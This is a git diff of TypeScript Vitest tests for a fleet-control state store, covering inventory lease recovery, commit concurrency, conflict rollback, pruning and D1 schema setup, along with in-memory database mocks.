+    expect(expired?.owner_token).toEqual(expect.any(String));
+    expect(fresh?.owner_token).toEqual(expect.any(String));
+    expect(fresh?.owner_token).not.toBe(expired?.owner_token);
+    expect(result.now).toBe(1_060_001);
+    expect(expired?.expires_at).toBeLessThan(result.now);
+    expect(fresh?.expires_at).toBeGreaterThan(result.now);
+    expect(result.interrupted).toEqual({
+      name: 'Error',
+      message:
+        "fleet inventory for account 'account-inventory' lease is no longer owned by this operation",
+    });
+    expect(result.wrongRevision).toEqual({
+      name: 'Error',
+      message: `fleet inventory run '${result.staged.operationId}' is no longer at the expected revision`,
+    });
+    expect(result.recoveryError).toBeNull();
+    expect(result.nextError).toBeNull();
+    expect(result.newHeadReplayError).toBeNull();
+  });
+
+  it.each([
+    'normal',
+    'stale',
+    'fallback',
+  ] as const)('repairs %s finalized inventory continuation without provider replay or weakening historical pins', async (mode) => {
+    const result = await probe<{
+      staged: FleetInventoryRunRecord;
+      before: InventorySnapshot;
+      interrupted: ProbeError | null;
+      afterInterrupted: InventorySnapshot;
+      pruningBeforeRepair: { deleted: number };
+      afterPruningBeforeRepair: InventorySnapshot;
+      recovery: {
+        result: FleetInventoryAdvanceResult | null;
+        error: ProbeError | null;
+      };
+      afterRecovery: InventorySnapshot;
+      recoveryTrace: string[];
+      recoveryRepairs: unknown[];
+      providerCalls: number;
+      historical: null | {
+        newer: FleetInventoryRunRecord;
+        before: InventorySnapshot;
+        unpinned: ProbeError | null;
+        afterUnpinned: InventorySnapshot;
+        pinned: FleetInventoryAdvanceResult;
+        afterPinned: InventorySnapshot;
+        released: ProbeError | null;
+        afterReleased: InventorySnapshot;
+      };
+    }>('inventory-finalized-continuation-recovery', { mode });
+    expect(result.staged).toMatchObject({
+      state: 'staging',
+      progress: { generation: 1, revision: 1, stage: { step: 'finalize' } },
+    });
+    expect(result.before.heads).toEqual([
+      {
+        account_id: 'account-inventory',
+        active_operation_id: result.staged.operationId,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+    expect(result.afterInterrupted).toEqual({
+      ...result.before,
+      runs: result.before.runs.map((run) => ({
+        ...run,
+        run_record: JSON.stringify({ ...result.staged, state: 'finalized' }),
+        finalized_at_ms: 1_000_000,
+      })),
+    });
+    expect(result.afterPruningBeforeRepair).toEqual(result.afterInterrupted);
+    expect(result.pruningBeforeRepair).toEqual({ deleted: 0 });
+    expect(result.afterRecovery).toEqual({
+      ...result.afterInterrupted,
+      heads: result.before.heads.map((head) => ({
+        ...head,
+        active_operation_id: null,
+        latest_finalized_generation: 1,
+      })),
+    });
+    expect(result.recovery.result).toEqual({
+      status: 'complete',
+      token: {
+        version: 1,
+        operationId: result.staged.operationId,
+        revision: 1,
+      },
+      generation: {
+        generation: 1,
+        operationId: result.staged.operationId,
+        finalizedAtMs: 1_000_000,
+        rowManifest: result.staged.progress.stagedCounts,
+        factCount: result.staged.progress.factCount,
+      },
+    });
+    expect(result.recoveryTrace).toEqual([
+      'lease-read',
+      ...(mode === 'fallback' ? ['fallback-read'] : []),
+      'finalize',
+      'generation-read',
+    ]);
+    expect(result.recoveryRepairs).toEqual([
+      {
+        operationId: result.staged.operationId,
+        expectedRevision: 1,
+        manifest: result.staged.progress.stagedCounts,
+        factCount: result.staged.progress.factCount,
+      },
+    ]);
+    expect(result.historical).not.toBeNull();
+    if (!result.historical)
+      throw new Error('historical continuation probe missing');
+    expect(result.historical.newer).toMatchObject({
+      state: 'staging',
+      progress: { generation: 3 },
+    });
+    expect(result.historical.before.heads).toEqual([
+      {
+        account_id: 'account-inventory',
+        active_operation_id: result.historical.newer.operationId,
+        latest_finalized_generation: 2,
+        next_generation: 4,
+      },
+    ]);
+    expect(result.historical.afterUnpinned).toEqual(result.historical.before);
+    expect(result.historical.afterPinned).toEqual(result.historical.before);
+    expect(result.historical.afterReleased).toEqual(result.historical.before);
+    expect(result.historical.pinned).toEqual(result.recovery.result);
+    expect(result.providerCalls).toBe(0);
+    expect(result.interrupted).toEqual({
+      name: 'Error',
+      message:
+        "fleet inventory for account 'account-inventory' lease is no longer owned by this operation",
+    });
+    expect(result.recovery.error).toBeNull();
+    const requiresPin = {
+      name: 'Error',
+      message:
+        'fleet inventory generation 1 requires a pin before it can be read',
+    };
+    expect(result.historical.unpinned).toEqual(requiresPin);
+    expect(result.historical.released).toEqual(requiresPin);
+  });
+
+  it('admits one commit writer and converges the rest under concurrent batches', async () => {
+    const result = await probe<{
+      committed: number;
+      converged: number;
+      conflicts: number;
+      corrupt: number;
+      winnerIsWriter: boolean;
+      lostResponseReplay: string;
+      revision: number;
+      staleReplay: string;
+      rowCounts: { kind: string; count: number }[];
+    }>('inventory-commit-concurrency');
+
+    expect(result).toMatchObject({
+      committed: 1,
+      converged: 0,
+      conflicts: 15,
+      corrupt: 0,
+      winnerIsWriter: true,
+      lostResponseReplay: 'converged',
+      revision: 2,
+      staleReplay: 'conflict',
+    });
+    expect(result.rowCounts).toEqual([
+      { kind: 'deployment', count: 1 },
+      { kind: 'finding', count: 1 },
+      { kind: 'meta', count: 2 },
+      { kind: 'registration', count: 1 },
+    ]);
+  });
+
+  describe.each([
+    'ordinary',
+    'hidden',
+  ] as const)('inventory chunk with %s results', (delivery) => {
+    it.each([
+      'account',
+      'generation',
+      'options',
+    ] as const)('rejects a different %s before durable mutation', async (fault) => {
+      const result = await probe<InventoryCommitRefusalProbe>(
+        'inventory-commit-refusal',
+        { fault, hideResults: delivery === 'hidden' },
+      );
+      expectInventoryRefusalAndReplay(result);
+      if (fault === 'generation') {
+        expect(result.attempted.runRecord.progress.generation).toBe(99);
+      } else if (fault === 'options') {
+        expect(result.attempted.runRecord.options).toEqual({
+          ...result.prior.options,
+          scriptNamePrefix: 'alternate',
+        });
+        expect(result.attempted.runRecord.optionsDigest).toBe(
+          fleetInventoryOptionsDigest(result.attempted.runRecord.options),
+        );
+        expect(result.attempted.runRecord.optionsDigest).not.toBe(
+          result.before.runs[0]?.options_digest,
+        );
+      }
+      expect(result.refused).toEqual({
+        name: 'Error',
+        message:
+          fault === 'account'
+            ? `no fleet inventory run for operation '${result.prior.operationId}'`
+            : `fleet inventory run '${result.prior.operationId}' is no longer at the expected revision`,
+      });
+    });
+
+    it.each([
+      'row',
+      'fact',
+    ] as const)('rolls back earlier siblings on an immutable %s conflict', async (kind) => {
+      const result = await probe<InventoryCommitRefusalProbe>(
+        'inventory-commit-refusal',
+        { fault: `${kind}-conflict`, hideResults: delivery === 'hidden' },
+      );
+      expectInventoryRefusalAndReplay(result);
+      expect(result.attempted.rows[0]).toEqual({
+        kind: 'meta',
+        ordinal: 0,
+        payload: { marker: 'earlier-sibling' },
+      });
+      if (kind === 'row') {
+        expect(result.attempted.rows[1]).toEqual({
+          kind: 'registration',
+          ordinal: 0,
+          payload: { scriptName: 'different' },
+        });
+      } else {
+        expect(result.attempted.facts).toEqual([
+          {
+            deploymentOrdinal: 0,
+            factKind: 'secret-name',
+            factOrdinal: 1,
+            payload: { name: 'ANCHORAGE_NAME_1' },
+          },
+          {
+            deploymentOrdinal: 0,
+            factKind: 'secret-name',
+            factOrdinal: 0,
+            payload: { name: 'DIFFERENT_NAME' },
+          },
+        ]);
+      }
+      expect(result.refused).toMatchObject({
+        name: 'Error',
+        message: expect.stringContaining(
+          `UNIQUE constraint failed: anchorage_fleet_inventory_${kind === 'row' ? 'rows' : 'deployment_facts'}.account_id`,
+        ),
+      });
+    });
+
+    it.each([
+      { fault: 'duplicate-row', duplicatePayload: 'same' },
+      { fault: 'duplicate-row', duplicatePayload: 'different' },
+      { fault: 'duplicate-fact', duplicatePayload: 'same' },
+      { fault: 'duplicate-fact', duplicatePayload: 'different' },
+    ] as const)('rejects $fault keys with $duplicatePayload payloads without effects', async ({
+      fault,
+      duplicatePayload,
+    }) => {
+      const result = await probe<InventoryCommitRefusalProbe>(
+        'inventory-commit-refusal',
+        { fault, duplicatePayload, hideResults: delivery === 'hidden' },
+      );
+      expectInventoryRefusalAndReplay(result);
+      const duplicates =
+        fault === 'duplicate-row'
+          ? result.attempted.rows
+          : result.attempted.facts;
+      expect(duplicates).toHaveLength(2);
+      expect(duplicates[1]).toEqual({
+        ...duplicates[0],
+        payload:
+          duplicatePayload === 'same'
+            ? duplicates[0]?.payload
+            : fault === 'duplicate-row'
+              ? { marker: 'different' }
+              : { name: 'DIFFERENT_NAME' },
+      });
+      expect(result.refused).toEqual({
+        name: 'FleetInventoryStateError',
+        message: 'fleet inventory state is malformed',
+      });
+    });
+
+    it.each([
+      'failed',
+      'stage',
+      'provider-requests',
+      'updated-at',
+    ] as const)('refuses same-revision %s convergence after an exact replay', async (change) => {
+      const result = await probe<{
+        intended: FleetInventoryRunRecord;
+        attempted: FleetInventoryRunRecord;
+        accepted: FleetInventoryRunRecord;
+        afterAcceptance: InventorySnapshot;
+        replay: FleetInventoryRunRecord;
+        afterReplay: InventorySnapshot;
+        beforeRefusal: InventorySnapshot;
+        afterRefusal: InventorySnapshot;
+        refused: ProbeError | null;
+      }>('inventory-commit-replay', {
+        change,
+        hideResults: delivery === 'hidden',
+      });
+      expectInventorySeed(result.afterAcceptance, result.intended);
+      expect(result.afterReplay).toEqual(result.afterAcceptance);
+      expect(result.beforeRefusal).toEqual({
+        ...result.afterReplay,
+        heads:
+          change === 'failed'
+            ? [
+                {
+                  ...result.afterReplay.heads[0],
+                  active_operation_id: null,
+                },
+              ]
+            : result.afterReplay.heads,
+        runs: [
+          {
+            ...result.afterReplay.runs[0],
+            run_record: JSON.stringify({
+              ...result.intended,
+              state: change === 'failed' ? 'failed' : 'staging',
+            }),
+          },
+        ],
+      });
+      expect(result.afterRefusal).toEqual(result.beforeRefusal);
+      expect(result.accepted).toEqual(result.intended);
+      expect(result.replay).toEqual(result.intended);
+      expect(result.attempted.progress.revision).toBe(1);
+      if (change === 'failed') {
+        expect(result.attempted).toEqual(result.intended);
+      } else {
+        expect(result.attempted).not.toEqual(result.intended);
+      }
+      expect(result.refused).toEqual({
+        name: 'Error',
+        message: `fleet inventory run '${result.intended.operationId}' is no longer at the expected revision`,
+      });
+    });
+  });
+
+  it('converges a lost finalize response through the run and head readback', async () => {
+    const result = await probe<{
+      first: { generation: number; factCount: number; finalizedAtMs: number };
+      replayed: { generation: number };
+      identical: boolean;
+      head: {
+        activeOperationId: string | null;
+        latestFinalizedGeneration: number | null;
+      };
+    }>('inventory-finalize-convergence');
+
+    expect(result.identical).toBe(true);
+    expect(result.first.generation).toBe(1);
+    expect(result.first.factCount).toBe(1);
+    expect(result.first.finalizedAtMs).toBeGreaterThan(0);
+    expect(result.head).toEqual({
+      activeOperationId: null,
+      latestFinalizedGeneration: 1,
+    });
+  });
+
+  it('reads back a finalized generation with its manifest and ordinals', async () => {
+    const result = await probe<{
+      ref: {
+        generation: number;
+        rowManifest: Record<string, number>;
+        factCount: number;
+      };
+      latestMatches: boolean;
+      rowOrdinals: string[];
+      factOrdinals: string[];
+    }>('inventory-generation-readback');
+
+    expect(result.ref.generation).toBe(1);
+    expect(result.ref.rowManifest).toMatchObject({
+      registration: 1,
+      deployment: 1,
+      finding: 1,
+      meta: 0,
+    });
+    expect(result.ref.factCount).toBe(1);
+    expect(result.latestMatches).toBe(true);
+    expect(result.rowOrdinals).toEqual([
+      'deployment:0',
+      'finding:0',
+      'registration:0',
+    ]);
+    expect(result.factOrdinals).toEqual(['0:secret-name:0']);
+  });
+
+  it('refuses a corrupt generation and leaves a mismatched finalize staging', async () => {
+    const result = await probe<{
+      readError: ProbeError;
+      finalizeError: ProbeError;
+      stateAfterFinalize: string | null;
+      latestGeneration: number | null;
+    }>('inventory-corrupt-unreadable');
+
+    expect(result.readError.message).toBe(
+      'fleet inventory generation 1 is corrupt',
+    );
+    expect(result.finalizeError.message).toMatch(
+      /^fleet inventory run '[0-9a-f-]+' does not match its finalize manifest$/,
+    );
+    expect(result.stateAfterFinalize).toBe('staging');
+    expect(result.latestGeneration).toBe(1);
+  });
+
+  it('prunes generations in stable order while protecting latest and pinned', async () => {
+    const result = await probe<{
+      deleted: number[];
+      pinnedSurvives: number;
+      surviving: number[];
+      survivingRowGenerations: number[];
+    }>('inventory-prune-order');
+
+    expect(result.deleted).toEqual([1, 1, 0, 1]);
+    expect(result.pinnedSurvives).toBe(2);
+    expect(result.surviving).toEqual([4]);
+    expect(result.survivingRowGenerations).toEqual([4]);
+  });
+
+  it('upserts the inventory lease when expired and keeps it alive by renewal', async () => {
+    const result = await probe<{
+      takeover: string | ProbeError;
+      heartbeatObserved: boolean;
+      contenderRejected: boolean;
+      leasesAfterRelease: number;
+    }>('inventory-lease-lifecycle');
+
+    expect(result.takeover).toBe('acquired');
+    expect(result.heartbeatObserved).toBe(true);
+    expect(result.contenderRejected).toBe(true);
+    expect(result.leasesAfterRelease).toBe(0);
+  });
+
+  it('initializes the six inventory tables under concurrent first reads on fresh D1 storage', async () => {
+    await server.reset();
+    worker = server.getWorker();
+
+    const result = await probe<{
+      latest: number;
+      columns: Record<string, string[]>;
+      tables: string[];
+      generation: number | null;
+    }>('inventory-cold-concurrent-schema');
+
+    expect(result.latest).toBe(16);
+    expect(result.tables).toEqual([
+      'anchorage_fleet_inventory_deployment_facts',
+      'anchorage_fleet_inventory_heads',
+      'anchorage_fleet_inventory_leases',
+      'anchorage_fleet_inventory_pins',
+      'anchorage_fleet_inventory_rows',
+      'anchorage_fleet_inventory_runs',
+    ]);
+    expect(result.columns).toEqual({
+      anchorage_fleet_inventory_heads: [
+        'account_id:TEXT',
+        'active_operation_id:TEXT',
+        'latest_finalized_generation:INTEGER',
+        'next_generation:INTEGER',
+      ],
+      anchorage_fleet_inventory_runs: [
+        'operation_id:TEXT',
+        'account_id:TEXT',
+        'generation:INTEGER',
+        'options_digest:TEXT',
+        'run_record:TEXT',
+        'created_at_ms:INTEGER',
+        'finalized_at_ms:INTEGER',
+      ],
+      anchorage_fleet_inventory_rows: [
+        'account_id:TEXT',
+        'generation:INTEGER',
+        'kind:TEXT',
+        'ordinal:INTEGER',
+        'payload:TEXT',
+      ],
+      anchorage_fleet_inventory_deployment_facts: [
+        'account_id:TEXT',
+        'generation:INTEGER',
+        'deployment_ordinal:INTEGER',
+        'fact_kind:TEXT',
+        'fact_ordinal:INTEGER',
+        'payload:TEXT',
+      ],
+      anchorage_fleet_inventory_leases: [
+        'account_id:TEXT',
+        'owner_token:TEXT',
+        'expires_at:INTEGER',
+      ],
+      anchorage_fleet_inventory_pins: [
+        'account_id:TEXT',
+        'generation:INTEGER',
+        'pinned_by:TEXT',
+        'pinned_at_ms:INTEGER',
+      ],
+    });
+    expect(result.generation).toBe(1);
+  });
+
+  it('operation-start atomicity', async () => {
+    await expect(
+      probe<{
+        started: number;
+        rejected: number;
+        activeOperationId: string | null;
+        operations: number;
+      }>('operation-start-atomicity'),
+    ).resolves.toEqual({
+      started: 1,
+      rejected: 15,
+      activeOperationId: '123e4567-e89b-42d3-a456-426614174300',
+      operations: 1,
+    });
+  });
+
+  it('commit concurrency (losers land zero rows; winner replay converges without a second revision advance)', async () => {
+    const result = await probe<{
+      winners: number;
+      losers: number;
+      rowOrdinals: number[];
+      replayRevision: number;
+      noSecondAdvance: boolean;
+    }>('operation-commit-concurrency');
+    expect(result.winners).toBe(1);
+    expect(result.losers).toBe(15);
+    expect(result.rowOrdinals).toHaveLength(1);
+    expect(result.replayRevision).toBe(1);
+    expect(result.noSecondAdvance).toBe(true);
+  });
+
+  it('commitProgress watermark conjuncts (an unsatisfiable claim lands no row and does not advance the revision; a dense prefix commits)', async () => {
+    const result = await probe<
+      OperationCommitProbe & {
+        beforeFindingRefusal: OperationSnapshot;
+        afterFindingRefusal: OperationSnapshot;
+        findingRefused: ProbeError | null;
+      }
+    >('operation-commit-watermark');
+    expect(result.beforeFindingRefusal.revision).toBe(0);
+    expect(result.beforeFindingRefusal.rows).toEqual([]);
+    expect(result.afterFindingRefusal).toEqual(result.beforeFindingRefusal);
+    expect(result.before.revision).toBe(0);
+    expect(result.before.rows).toEqual([
+      { row_kind: 'fact', ordinal: 1, payload: expect.any(String) },
+      { row_kind: 'finding', ordinal: 0, payload: expect.any(String) },
+    ]);
+    expect(result.afterRefusal).toEqual(result.before);
+    const conflict = {
+      name: 'Error',
+      message:
+        "fleet operation '123e4567-e89b-42d3-a456-426614174305' is no longer at the expected revision",
+    };
+    expect(result.findingRefused).toEqual(conflict);
+    expect(result.refused).toEqual(conflict);
+    expect(result.accepted.progress.revision).toBe(1);
+    expect(result.afterAcceptance.revision).toBe(1);
+    expect(result.afterAcceptance.rows).toEqual([
+      { row_kind: 'fact', ordinal: 0, payload: expect.any(String) },
+      result.before.rows[0],
+      { row_kind: 'fact', ordinal: 2, payload: expect.any(String) },
+      result.before.rows[1],
+      { row_kind: 'finding', ordinal: 1, payload: expect.any(String) },
+      { row_kind: 'finding', ordinal: 2, payload: expect.any(String) },
+    ]);
+    expect(result.replay).toEqual(result.accepted);
+    expect(result.afterReplay).toEqual(result.afterAcceptance);
+  });
+
+  it('commitProgress row-UPDATE dense prefix (updates ordinal 1 while preserving ordinal 0 under an item watermark of 2)', async () => {
+    const result = await probe<{
+      before: OperationSnapshot;
+      afterAcceptance: OperationSnapshot;
+      acceptedRevision: number;
+      items: Array<{
+        rowKind: string;
+        ordinal: number;
+        payload: Record<string, unknown>;
+      }>;
+    }>('operation-commit-row-update');
+    expect(result.before.revision).toBe(0);
+    expect(result.before.rows).toEqual([
+      { row_kind: 'item', ordinal: 0, payload: expect.any(String) },
+      { row_kind: 'item', ordinal: 1, payload: expect.any(String) },
+    ]);
+    expect(result.acceptedRevision).toBe(1);
+    expect(result.afterAcceptance.revision).toBe(1);
+    expect(result.afterAcceptance.rows).toEqual([
+      result.before.rows[0],
+      { row_kind: 'item', ordinal: 1, payload: expect.any(String) },
+    ]);
+    expect(result.items).toEqual([
+      {
+        rowKind: 'item',
+        ordinal: 0,
+        payload: {
+          ordinal: 0,
+          tenantTag: 'tenant',
+          environment: 'production',
+          entryRecordDigest: 'c'.repeat(64),
+          status: 'pending',
+        },
+      },
+      {
+        rowKind: 'item',
+        ordinal: 1,
+        payload: {
+          ordinal: 1,
+          tenantTag: 'tenant',
+          environment: 'production',
+          entryRecordDigest: 'c'.repeat(64),
+          targetSpecDigest: 'd'.repeat(64),
+          plan: [{ step: 'promote' }],
+          planCursor: 0,
+          status: 'active',
+        },
+      },
+    ]);
+  });
+
+  it.each([
+    { delivery: 'ordinary', viaStage: false },
+    { delivery: 'hidden', viaStage: false },
+    { delivery: 'ordinary', viaStage: true },
+    { delivery: 'hidden', viaStage: true },
+  ] as const)('commitProgress immutable conflict rolls back an earlier insert and accepts exact staged bytes with $delivery results (stageRows $viaStage)', async ({
+    delivery,
+    viaStage,
+  }) => {
+    const result = await probe<OperationCommitProbe>(
+      'operation-commit-immutable-conflict',
+      { hideResults: delivery === 'hidden', viaStage },
+    );
+    expect(result.before.revision).toBe(0);
+    expect(result.before.rows).toEqual([
+      {
+        row_kind: 'finding',
+        ordinal: 1,
+        payload: JSON.stringify({
+          tenantTag: 'tenant',
+          environment: 'production',
+          kind: 'audit-error',
+          detail: 'safe finding 1',
+        }),
+      },
+    ]);
+    expect(result.afterRefusal).toEqual(result.before);
+    expect(result.refused).toMatchObject({
+      message: expect.stringContaining('UNIQUE constraint failed'),
+    });
+    expect(result.accepted.progress.revision).toBe(1);
+    expect(result.afterAcceptance.revision).toBe(1);
+    expect(result.afterAcceptance.rows).toEqual([
+      {
+        row_kind: 'finding',
+        ordinal: 0,
+        payload: JSON.stringify({
+          tenantTag: 'tenant',
+          environment: 'production',
+          kind: 'audit-error',
+          detail: 'safe finding 0',
+        }),
+      },
+      result.before.rows[0],
+    ]);
+    expect(result.accepted).toEqual(
+      JSON.parse(result.afterAcceptance.record ?? 'null'),
+    );
+    expect(result.replay).toEqual(result.accepted);
+    expect(result.afterReplay).toEqual(result.afterAcceptance);
+  });
+
+  it.each([
+    'ordinary',
+    'hidden',
+  ] as const)('commitProgress missing update target preserves the batch and permits repaired update/insert replay with %s results', async (delivery) => {
+    const result = await probe<OperationCommitProbe>(
+      'operation-commit-missing-update',
+      { hideResults: delivery === 'hidden' },
+    );
+    expect(result.before.revision).toBe(0);
+    expect(result.before.rows).toEqual([
+      {
+        row_kind: 'item',
+        ordinal: 0,
+        payload: JSON.stringify({
+          ordinal: 0,
+          tenantTag: 'tenant',
+          environment: 'production',
+          entryRecordDigest: 'c'.repeat(64),
+          status: 'pending',
+        }),
+      },
+    ]);
+    expect(result.afterRefusal).toEqual(result.before);
+    expect(result.refused).toEqual({
+      name: 'Error',
+      message:
+        "fleet operation '123e4567-e89b-42d3-a456-426614174308' is no longer at the expected revision",
+    });
+    expect(result.accepted.progress.revision).toBe(1);
+    expect(result.afterAcceptance.revision).toBe(1);
+    expect(result.afterAcceptance.rows).toEqual([
+      ...[0, 1].map((ordinal) => ({
+        row_kind: 'item',
+        ordinal,
+        payload: JSON.stringify({
+          ordinal,
+          tenantTag: 'tenant',
+          environment: 'production',
+          entryRecordDigest: 'c'.repeat(64),
+          targetSpecDigest: 'd'.repeat(64),
+          plan: [{ step: 'promote' }],
+          planCursor: 0,
+          status: 'active',
+        }),
+      })),
+      {
+        row_kind: 'item',
+        ordinal: 2,
+        payload: JSON.stringify({
+          ordinal: 2,
+          tenantTag: 'tenant',
+          environment: 'production',
+          entryRecordDigest: 'c'.repeat(64),
+          status: 'pending',
+        }),
+      },
+    ]);
+    expect(result.accepted).toEqual(
+      JSON.parse(result.afterAcceptance.record ?? 'null'),
+    );
+    expect(result.replay).toEqual(result.accepted);
+    expect(result.afterReplay).toEqual(result.afterAcceptance);
+  });
+
+  it('finalize convergence', async () => {
+    await expect(
+      probe<{
+        identical: boolean;
+        revision: number;
+        terminalAtMs: number;
+        activeOperationId: string | null;
+      }>('operation-finalize-convergence'),
+    ).resolves.toEqual({
+      identical: true,
+      revision: 1,
+      terminalAtMs: expect.any(Number),
+      activeOperationId: null,
+    });
+  });
+
+  it('rows-page readback', async () => {
+    await expect(
+      probe<{
+        first: number[];
+        firstDone: boolean;
+        second: number[];
+        secondDone: boolean;
+      }>('operation-rows-readback'),
+    ).resolves.toEqual({
+      first: [0, 1],
+      firstDone: false,
+      second: [2],
+      secondDone: true,
+    });
+  });
+
+  it('corrupt payload unreadable', async () => {
+    await expect(
+      probe<ProbeError>('operation-corrupt-unreadable'),
+    ).resolves.toEqual({
+      name: 'FleetOperationStateError',
+      message: 'fleet operation state is malformed',
+    });
+  });
+
+  it('prune order + protected set', async () => {
+    const result = await probe<{
+      pruned: { deleted: number; releasedPins: number };
+      remaining: string[];
+    }>('operation-prune-order');
+    expect(result.pruned).toEqual({ deleted: 1, releasedPins: 0 });
+    expect(result.remaining).toEqual([
+      '123e4567-e89b-42d3-a456-426614174311',
+      '123e4567-e89b-42d3-a456-426614174312',
+      '123e4567-e89b-42d3-a456-426614174313',
+    ]);
+  });
+
+  it('per-kind lease independence + lifecycle at controlled times', async () => {
+    await expect(
+      probe<{
+        takeover: string;
+        heartbeatObserved: boolean;
+        contenderRejected: boolean;
+        leasesAfterRelease: number;
+      }>('operation-lease-lifecycle'),
+    ).resolves.toEqual({
+      takeover: 'independent',
+      heartbeatObserved: true,
+      contenderRejected: true,
+      leasesAfterRelease: 0,
+    });
+  });
+
+  it('four-table cold+concurrent schema init', async () => {
+    await server.reset();
+    worker = server.getWorker();
+    const result = await probe<{
+      absent: number;
+      columns: Record<string, string[]>;
+      tables: string[];
+    }>('operation-cold-concurrent-schema');
+    expect(result.absent).toBe(16);
+    expect(result.tables).toEqual([
+      'anchorage_fleet_operation_heads',
+      'anchorage_fleet_operation_leases',
+      'anchorage_fleet_operation_rows',
+      'anchorage_fleet_operations',
+    ]);
+    expect(result.columns).toEqual({
+      anchorage_fleet_operation_leases: [
+        'account_id:TEXT',
+        'operation_kind:TEXT',
+        'owner_token:TEXT',
+        'expires_at:INTEGER',
+      ],
+      anchorage_fleet_operation_heads: [
+        'account_id:TEXT',
+        'operation_kind:TEXT',
+        'active_operation_id:TEXT',
+      ],
+      anchorage_fleet_operations: [
+        'account_id:TEXT',
+        'operation_id:TEXT',
+        'operation_kind:TEXT',
+        'intake_digest:TEXT',
+        'op_record:TEXT',
+        'created_at_ms:INTEGER',
+        'terminal_at_ms:INTEGER',
+      ],
+      anchorage_fleet_operation_rows: [
+        'account_id:TEXT',
+        'operation_id:TEXT',
+        'row_kind:TEXT',
+        'ordinal:INTEGER',
+        'payload:TEXT',
+      ],
+    });
+  });
+
+  it('two-account same-UUID isolation', async () => {
+    await expect(
+      probe<Array<{ account_id: string; operation_id: string }>>(
+        'operation-two-account-isolation',
+      ),
+    ).resolves.toEqual([
+      {
+        account_id: 'operation-account-one',
+        operation_id: '123e4567-e89b-42d3-a456-426614174330',
+      },
+      {
+        account_id: 'operation-account-two',
+        operation_id: '123e4567-e89b-42d3-a456-426614174330',
+      },
+    ]);
+  });
 });
diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts
index 332664c0..1670f6f6 100644
--- a/packages/fleet-control/test/state-store.test.ts
+++ b/packages/fleet-control/test/state-store.test.ts
@@ -1,6 +1,9 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
+import { backendSwitchDecommissionSnapshotDigest } from '../src/backend-switch.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import { DECOMMISSION_INTENT_BYTE_BOUND } from '../src/decommission-intent.js';
 import {
   canonicalDeploymentEgressPolicy,
   durableObjectMigrationHistoryDigest,
@@ -13,9 +16,29 @@ import {
   type FleetStateDatabase,
 } from '../src/state-store.js';
 import type { FleetRecord, PlatformPlaneResourceSet } from '../src/types.js';
+import {
+  backendSwitchDecommissionRecordFixture,
+  type NormalDecommissionIntentFixtureOptions,
+  normalDecommissionIntentFixture,
+} from './fixtures/decommission-intent-fixture.js';
 
 const MAINTENANCE_PUBLIC_KEY =
   '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
+const INVALID_DECOMMISSION_INTENT =
+  'fleet state row has invalid decommission_intent';
+
+async function expectInvalidDecommission(
+  operation: Promise<unknown>,
+): Promise<void> {
+  let refusal: unknown;
+  try {
+    await operation;
+  } catch (error) {
+    refusal = error;
+  }
+  expect(refusal).toBeInstanceOf(Error);
+  expect((refusal as Error).message).toBe(INVALID_DECOMMISSION_INTENT);
+}
 
 function nullableTextColumn(name: string): Readonly<Record<string, unknown>> {
   return { name, type: 'TEXT', notnull: 0, pk: 0 };
@@ -27,6 +50,7 @@ function addedColumnName(sql: string): string | undefined {
 
 class MemoryD1 implements FleetStateDatabase {
   row: Readonly<Record<string, unknown>> | undefined;
+  deploymentInsertSql: string | undefined;
   readonly claims = new Map<string, Readonly<Record<string, unknown>>>();
 
   async query(
@@ -130,6 +154,7 @@ class MemoryD1 implements FleetStateDatabase {
       );
     }
     if (sql.startsWith('INSERT INTO anchorage_fleet_deployments')) {
+      this.deploymentInsertSql = sql;
       const names = [
         'tenant_tag',
         'environment',
@@ -152,6 +177,9 @@ class MemoryD1 implements FleetStateDatabase {
         'platform_target',
         'migration_intent',
         'backend_switch_intent',
+        'decommission_intent',
+        'cleanup_intent',
+        'invocation_authority',
         'durable_object_tag',
         'durable_object_migration_history',
         'durable_object_migration_history_digest',
@@ -165,6 +193,7 @@ class MemoryD1 implements FleetStateDatabase {
         'database_export_size',
         'settled_settlement_key',
         'updated_at',
+        'wfp_mode',
       ];
       this.row = Object.fromEntries(
         names.map((name, index) => [name, bindings[index] ?? null]),
@@ -287,11 +316,45 @@ class MemoryD1 implements FleetStateDatabase {
   }
 }
 
+class LostResponseD1 extends MemoryD1 {
+  lose: 'exact' | 'changed' | undefined;
+
+  override async batch(
+    statements: readonly Readonly<{
+      sql: string;
+      bindings?: readonly unknown[];
+    }>[],
+  ): Promise<readonly (readonly Readonly<Record<string, unknown>>[])[]> {
+    const results = await super.batch(statements);
+    const lose = this.lose;
+    if (!lose) return results;
+    this.lose = undefined;
+    if (
+      lose === 'changed' &&
+      typeof this.row?.decommission_intent === 'string'
+    ) {
+      const intent = JSON.parse(this.row.decommission_intent) as Record<
+        string,
+        unknown
+      >;
+      this.row = {
+        ...this.row,
+        decommission_intent: JSON.stringify({
+          ...intent,
+          revision: Number(intent.revision) + 1,
+        }),
+      };
+    }
+    throw new Error(`committed ${lose} D1 batch response lost`);
+  }
+}
+
 class SchemaD1 implements FleetStateDatabase {
   readonly columns = new Map<string, Readonly<Record<string, unknown>>>(
     ADDED_NULLABLE_TEXT_COLUMNS.map((name) => [name, nullableTextColumn(name)]),
   );
   createAttempts = 0;
+  deploymentCreateSql: string | undefined;
   alterAttempts = 0;
   failCreateOnce = false;
   failAlterOnce = false;
@@ -308,6 +371,7 @@ class SchemaD1 implements FleetStateDatabase {
       sql.startsWith('CREATE TABLE IF NOT EXISTS anchorage_fleet_deployments')
     ) {
       this.createAttempts += 1;
+      this.deploymentCreateSql = sql;
       if (this.failCreateOnce) {
         this.failCreateOnce = false;
         throw new Error('transient schema failure');
@@ -392,6 +456,135 @@ function reservedRecord(
   };
 }
 
+const DECOMMISSION_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const DECOMMISSION_RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+
+function decommissionBase(): FleetRecord {
+  return {
+    ...reservedRecord('plain-worker'),
+    artifactVersion: 'artifact-v1',
+    phase: 'ready',
+    applicationResources: [],
